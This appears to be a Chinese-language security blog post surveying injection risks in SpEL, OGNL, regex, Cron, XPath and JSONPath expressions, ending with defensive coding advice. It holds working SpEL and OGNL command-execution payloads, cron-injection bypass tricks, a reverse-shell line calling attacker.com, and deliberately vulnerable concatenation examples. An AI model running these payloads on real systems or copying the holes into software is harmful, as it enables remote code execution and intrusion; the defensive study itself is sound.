常见表达式分析

0-前言

常见表达式

动态逻辑类:表达式语言 (Expression Language, EL):

SpEL (Spring Expression Language)、OGNL (Object-Graph Navigation Language)、QL(QLExpress)

数据库逻辑类:SQL 表达式

文本处理类:正则表达式

定时任务类:Cron 表达式

数据导航类:XPath 路径表达式

其他需注意:ladp注入ladp注入

1-表达式语言

危害:SpEL注入

蓝凌 OAJava 系产品的很多漏洞都源于 **SpEL 注入**,攻击者可以通过特定的表达式直接执行 java.lang.Runtime.getRuntime().exec() 来拿下服务器权限

常用的执行命令有:

1
2
3
4
#java.lang.ProcessBuilder
new java.lang.ProcessBuilder(["/bin/sh","-c","whoami"]).start();
#java.lang.Runtime
function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec("whoami")

其他可能存在危害的链式命令:

1
2
3
4
5
6
7
8
9
10
#java.io.File(专门用于打开文件/URL)
java.awt.Desktop.getDesktop().open(new java.io.File("/Users/name/Desktop/test.txt"));
#javax.script.ScriptEngineManager(通过 JS 引擎间接执行)
new javax.script.ScriptEngineManager().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('whoami')");
#com.sun.jmx.mbeanserver.JmxMBeanServer (反射调用)
((java.lang.Runtime)com.sun.jmx.mbeanserver.JmxMBeanServer.class.getMethod("getRuntime").invoke(null)).exec("whoami");
#java.lang.instrument.Instrumentation (通过 Agent 注入)
inst.retransformClasses(TargetClass.class); // 通过修改类来实现命令执行
#Apache Commons Exec(第三方库)
new org.apache.commons.exec.DefaultExecutor().execute(org.apache.commons.exec.CommandLine.parse("whoami"));
方式 适用场景 优点
Desktop 打开文件、图片、浏览器 跨平台,自动关联程序
ScriptEngine 动态执行、规则引擎 语法灵活,适合动态调用
Commons Exec 企业级生产环境 完善的超时控制、流处理
Reflection/JMX 框架底层、绕过限制 隐蔽性强,不直接依赖显式类

危害:OGNL注入

示例:

Apache Struts2 框架早期版本(2.0.0 - 2.0.8)中的 OGNL 表達式注入 漏洞

1
2
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"}))
redirectErrorStream(true).start()}

2-正则表达式

正则表达式不写注释简直是一串乱码,上午写的,下午就不认识了,但一般不会存在太大的漏洞

危害:ReDoS

ReDoS(正则表达式拒绝服务攻击)危险示例: ^(a+)+$

危害:注入攻击

正则表达式是动态构建且包含用户输入的,就可能引发信息泄露、逻辑绕过等风险,例如查询接口的*查询

危害:命令注入

老生常谈,表达式直接拼接到命令行操作(一般遵循安全代码规范就不会有)

3-Cron 表达式

一般问题出现在Cron 表达式对于系统权限、执行逻辑以及资源调度方面

危害:异常任务执行

操作员的定时任务能覆盖影响到管理员的定时任务,或者绕过正常逻辑(例如不能每天执行,但通过0 0 31 2 *每天执行)

危害:dos

攻击者修改请求,将表达式改为 * * * * *(每分钟执行一次,某些扩展语法甚至支持秒级 * * * * * *

危害:命令注入

老生常谈,表达式直接拼接到命令行操作(一般遵循安全代码规范就不会有)

换行符绕过: 在 Cron 场景下,\n\r 就能开启一行全新的恶意指令。

编码绕过: 攻击者可以使用十六进制、Base64 或特定的字符编码(如 ANSI-C quoting $'...')来绕过简单的字符串匹配。

空字节截断: 在某些底层语言中,使用 %00 可能导致字符串在逻辑检查后被截断,从而改变最终执行的命令。

伪代码:

1
2
3
4
5
6
7
8
# 假设后端接收用户输入的 cron_time,意图是创建一个定期清理日志的任务
# 开发者以为用户只会输入 "* * * * *"
target_cmd="cleanup_logs.sh"
echo "$user_cron_input root $target_cmd" >> /etc/cron.d/user_tasks

#payload
*/1 * * * * root /bin/sh -i >& /dev/tcp/attacker.com/8080 0>&1
#

4-XPath 路径表达式

XPath语法完全指南(实战详解版) - 熊文豪1 - 博客园

危害:目录遍历

不过滤拼接

伪代码:

1
2
path = "/var/www/images/" + request.args.get('filename')
file = open(path, 'rb')

危害:XPath 注入

老生常谈,直接拼接

伪代码:

1
2
3
// 不安全:直接拼接用户名
String query = "//user[username/text()='" + userInput + "' and password/text()='" + pwd + "']";
xpath.evaluate(query, doc);

危害:JSONPath

1
2
3
4
5
/* 查找商店里所有书的作者 */
$.store.book[*].author

/* 查找价格低于 10 的书 */
$.store.book[?(@.price < 10)]

危害:dos

复杂的递归查找表达式或者深层嵌套等($..*

危害:命令执行

对象图导航 (OGNL / SpEL) ,用到了其他表达式(如 Java 的 OGNL,Spring 的 SpEL);通常用于 Web 框架(如 Struts2, Spring MVC)的数据绑定

示例 (OGNL):

1
2
3
4
5
/* 访问 user 对象的 name 属性 */
user.name

/* 调用方法(高危!) */
@java.lang.Runtime@getRuntime().exec("calc")

xpath简单总结

表达式类型 主要用途 核心风险 防御策略
XPath XML 数据查询 数据泄露 / 认证绕过 使用参数化查询接口(如 Java 的 XPathVariableResolver),严禁字符串拼接。
JSONPath JSON 数据提取 逻辑错误 / DoS 限制递归深度,避免在后端使用拼接方式构建过滤逻辑。
OGNL/SpEL 对象属性绑定 RCE (远程代码执行) 最危险。 严格限制表达式求值上下文,禁止调用静态方法,升级框架补丁。

5-建议:

规范级别 处理方式 安全性
最优 (Best) **参数化调用 (Parameterized API)**。不通过 Shell 解析,直接将参数传递给操作系统内核(如 Python 的 subprocess.run(["cmd", "arg1"]))。 极高
次优 (Good) **白名单校验 (Whitelisting)**。只允许预定义的、已知的安全值,拒绝一切其他输入。
危险 (Unsafe) 黑名单过滤 + 字符串拼接。试图拦截 ; 等字符。 极低
自杀 (Suicidal) 直接字符串拼接。完全信任用户输入。